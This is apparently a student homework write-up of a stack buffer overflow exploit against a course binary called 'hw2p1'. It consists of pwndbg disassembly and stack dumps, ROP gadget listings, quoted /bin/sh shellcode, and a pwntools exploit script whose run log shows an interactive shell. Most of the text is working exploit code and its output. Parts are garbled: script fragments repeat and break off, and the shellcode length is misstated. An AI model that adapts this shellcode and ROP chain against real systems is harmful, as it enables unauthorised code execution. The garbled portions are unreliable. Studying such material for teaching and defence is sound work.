

# Exploiting Buffer Overflow Vulnerability

## Part2

```
pwndbg> disass ultimateQuestion
Dump of assembler code for function ultimateQuestion:
0x080491d8 <+0>: push    ebp
0x080491d9 <+1>: mov     ebp,esp
0x080491db <+3>: push    ecx
0x080491dc <+4>: sub     esp,0x1b8
0x080491e2 <+10>: lea     ecx,[ebp+0x8]
0x080491e5 <+13>: mov     eax,ecx
0x080491e7 <+15>: push    DWORD PTR [eax+0x1c]
0x080491ea <+18>: lea     eax,[ebp-0x1bc]
0x080491f0 <+24>: push    eax
0x080491f1 <+25>: call    0x8049030 <strcpy@plt>
0x080491f6 <+30>: add     esp,0x8
0x080491f9 <+33>: mov     eax,0x2a
0x080491fe <+38>: mov     ecx,DWORD PTR [ebp-0x4]
0x08049201 <+41>: leave
0x08049202 <+42>: ret
End of assembler dump.
pwndbg> break *0x08049202
Breakpoint 1 at 0x8049202
pwndbg> r << (python2 -c "print('A'*448 + 'B'*4)"))
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Breakpoint 1, 0x08049202 in ultimateQuestion ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
[ REGISTERS ]
EAX 0x2a
EBX 0x0
ECX 0x41414141 ('AAAA')
EDX 0xffffccf8 ← 0x212d7700
EDI 0x8049070 (_start) ← xor    ebp, ebp
ESI 0x1
EBP 0x41414141 ('AAAA')
ESP 0xffffccf4 ← 'BBBB'
EIP 0x8049202 (ultimateQuestion+42) ← ret
[ DISASM ]
► 0x8049202 <ultimateQuestion+42> ret    <0x42424242>
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[ STACK ]
00:0000 esp 0xffffccf4 ← 'BBBB'
01:0004 edx 0xffffccf8 ← 0x212d7700
02:0008 0xffffccfc ← 0x4043741f
03:000c 0xffffcd00 ← 0x91d14e3c
04:0010 0xffffcd04 ← '\\BS@(#'
05:0014 0xffffcd08 ← 0x2328 /* '(#' */
06:0018 0xffffcd0c ← 0xffffffff
07:001c 0xffffcd10 ← 0x7
```

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[ BACKTRACE ]
► f 0 0x8049202 ultimateQuestion+42
f 1 0x42424242
f 2 0x212d7700
f 3 0x4043741f
f 4 0x91d14e3c
f 5 0x4053425c
f 6 0x2328
f 7 0xffffffff
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pwndbg> rop --grep "pop"
0x08049335 : add byte ptr [eax], al ; add esp, 8 ; pop ebx ; ret
0x080492af : add byte ptr [eax], al ; pop ebp ; ret
0x080492ad : add dword ptr [eax], eax ; add byte ptr [eax], al ; pop ebp ; ret
0x08049315 : add esp, 0xc ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x0804901b : add esp, 8 ; pop ebx ; ret
0x08049314 : jecxz 0x8049299 ; les ecx, ptr [ebx + ebx*2] ; pop esi ; pop edi ; pop ebp ; ret
0x08049313 : jne 0x80492f8 ; add esp, 0xc ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x0804901c : les ecx, ptr [eax] ; pop ebx ; ret
0x08049316 : les ecx, ptr [ebx + ebx*2] ; pop esi ; pop edi ; pop ebp ; ret
0x080492ac : mov eax, 1 ; pop ebp ; ret
0x08049317 : or al, 0x5b ; pop esi ; pop edi ; pop ebp ; ret
0x080492b1 : pop ebp ; ret
0x08049318 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 1
0x0804901e : pop ebx ; ret
0x0804931a : pop edi ; pop ebp ; ret 2
0x0804923a : pop es ; add byte ptr [eax], al ; add byte ptr [ebp - 0x20f7b], cl ; call dword ptr [
eax + 0x68]
0x08049319 : pop esi ; pop edi ; pop ebp ; ret
0x080492a1 : popal ; cld ; ret
0x08049016 : sal byte ptr [edx + eax - 1], 0xd0 ; add esp, 8 ; pop ebx ; ret

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pwndbg> stack 100
00:0000 esp 0xffffccf4 ← 'BBBB'
01:0004 edx 0xffffccf8 ← 0x212d7700
02:0008 0xffffccfc ← 0x4043741f
03:000c 0xffffcd00 ← 0x91d14e3c
04:0010 0xffffcd04 ← '\\BS@(#'
05:0014 0xffffcd08 ← 0x2328 /* '(#' */
06:0018 0xffffcd0c ← 0xffffffff
07:001c 0xffffcd10 ← 0x7
08:0020 0xffffcd14 → 0xffffcd1c ← 0x41414141 ('AAAA')
09:0024 0xffffcd18 → 0xf7ff09ed ← 'realloc'
0a:0028 0xffffcd1c ← 0x41414141 ('AAAA')
... ↓ 89 skipped
pwndbg>

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<https://shell-storm.org/shellcode/files/shellcode-256.html>

The shellcode used above is a **Linux x86** shellcode that executes a **/bin/sh** shell. The shellcode is written in **assembly language** and is **256 bytes** long.

To understand how the shellcode works, we need to disassemble it and analyze the instructions. The following is the disassembled code:

```

31 c0 50 68 2f 2f 73 68 68 2f 62 69 6e 89 e3 50
89 e2 53 89 e1 b0 0b cd 80

```

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The first instruction 31 c0 sets the value of the **eax** register to 0. The next instruction 50 pushes the value of **eax** onto the stack. The next instructions 68 2f 2f 73 68 and 68 2f 62 69 6e push the strings **/bin//sh** onto the stack. The next instruction 89 e3 moves the value of **esp** into the **ebx** register. The next instruction

50 pushes the value of `eax` onto the stack again. The next instruction 89 e2 moves the value of `esp` into the `edx` register. The next instruction 53 pushes the value of `ebx` onto the stack. The next instruction 89 e1 moves the value of `esp` into the `ecx` register. The next instruction b0 0b sets the value of `al` to 0x0b. Finally, the last instruction cd 80 executes an interrupt to invoke a system call.

When executed, this shellcode will spawn a new shell with root privileges.

```
17 binPath="./hw2p1"
18 isRemote = pwn.args.REMOTE
19
20 # build in GDB support
21 gdbscript = '''
22 init-pwndbg
23 break *ultimateQuestion+42
24 continue
25 '''
26
27 # interact with the program to get to where we can exploit
28 pwn.context.log_level="debug"
29 elf = pwn.context.binary = pwn.ELF(binPath, checksec=False)
30 pwn.context.update(arch='i386', os='linux')
31
32 io = start()
33
34 # define Payload & Gadgets
35 bufLen = 408
36
37 gadget1=pwn.p32(0x08049318)
38 gadget2=pwn.p32(0x0804931a)
39 numNOPs = b'\x90'*16
40
41 overFlow = bufLen * b'\x90'
42 ret = b'B'*4
43
44 shellcode=b'\x99\x52\x58\x52\xbf\xb7\x97\x39\x34\x01\xff\x57\x
45
46
47 #bad \x00\x09\x0a\x0b\x0c\x0d\x09\x20\
48 #good =
49     b'\x01\x02\x03\x04\x05\x06\x07\x08\x0e\x0f\x10\x11\x12\x13\x14
50
51 buffer = pwn.flat(
52     [
53         shellcode,
54         overFlow,
55         gadget1,
56         numNOPs,
57         gadget2
58     ])
59
60 pwn.info("buffer len: %d",len(buffer))
61 io.sendline(buffer)
62
63 io.interactive()
```

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$ ./payload1.py
[+] Starting local process './hw2p1': pid 368500
[*] buffer len: 472
[DEBUG] Sent 0x1d9 bytes:
00000000 99 52 58 52 bf b7 97 39 34 01 ff 57 bf 97 17 b1 |.RXR|...9|4..W|....|
00000010 34 01 ff 47 57 89 e3 52 53 89 e1 b0 63 2c 58 81 |4..G|W..R|S...|c,X|
00000020 ef 62 ae 61 69 57 ff d4 90 90 90 90 90 90 90 90 |.b.a|IW..|....|....|
00000030 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 |....|....|....|....|
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000001c0 18 93 04 08 90 90 90 90 90 90 90 90 90 90 90 90 |....|....|....|....|
000001d0 90 90 90 90 1a 93 04 08 0a |....|....|..|....|
000001d9
[*] Switching to interactive mode
$ whoami
[DEBUG] Sent 0x7 bytes:
b'whoami\n'
[DEBUG] Received 0x5 bytes:
b'kali\n'
kali
$ echo "
[DEBUG] Sent 0x19 bytes:
b'echo "\n'
[DEBUG] Received 0x12 bytes:
b'\n'
$ date
[DEBUG] Sent 0x5 bytes:
b'date\n'
[DEBUG] Received 0x1d bytes:
b'Fri Nov 11 22:46:53 EST 2022\n'
Fri Nov 11 22:46:53 EST 2022
$

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```

> 0x8049202 <ultimateQuestion+42> ret <0x8049318; __libc_csu_init+88>
↓
0x8049318 <__libc_csu_init+88> pop ebx
0x8049319 <__libc_csu_init+89> pop esi
0x804931a <__libc_csu_init+90> pop edi
0x804931b <__libc_csu_init+91> pop ebp
0x804931c <__libc_csu_init+92> ret
↓
0x804931a <__libc_csu_init+90> pop edi
0x804931b <__libc_csu_init+91> pop ebp
0x804931c <__libc_csu_init+92> ret
↓
0xff981a7c cdq
0xff981a7d push edx

00:0000 esp 0xff981a54 → 0x8049318 (__libc_csu_init+88) ← pop ebx
01:0004 0xff981a58 ← 0x90909090
... ↓ 3 skipped
05:0014 edx 0xff981a68 → 0x804931a (__libc_csu_init+90) ← pop edi
06:0018 0xff981a6c ← 0xffffffff00
07:001c 0xff981a70 ← 0x7

f 0 0x8049202 ultimateQuestion+42
f 1 0x8049318 __libc_csu_init+88

pwndbg>

```

#!/usr/bin/env python3

import time, os, traceback, sys, os

import pwn

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import binascii, array
from textwrap import wrap

def start(argv=[], *a, **kw):
    if pwn.args.GDB: # use the gdb script, sudo apt install gdbserver
        return pwn.gdb.debug([binPath] + argv, gdbscript=gdbscript, *a, **kw)
    elif pwn.args.REMOTE: # ['server', 'port']
        return pwn.remote(sys.argv[1], sys.argv[2], *a, **kw)
    else: # run locally, no GDB
        return pwn.process([binPath]+argv, *a, **kw)

binPath="./hw2p1"
isRemote = pwn.args.REMOTE

# build in GDB support
gdbscript = ""
init-pwndbg
break *ultimateQuestion+42
continue
"".format(**locals())

# interact with the program to get to where we can exploit
pwn.context.log_level="debug"
elf = pwn.context.binary = pwn.ELF(binPath, checksec=False)
pwn.context.update(arch='i386', os='linux')

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e2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff'
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```
buffer = pwn.flat(
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[
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```
    shellcode,
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```
    overFlow,
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```
    gadget1,
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```
    numNOPs,
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    gadget2
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])
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```
pwn.info("buffer len: %d",len(buffer))
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io.sendline(buffer)
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io.interactive()
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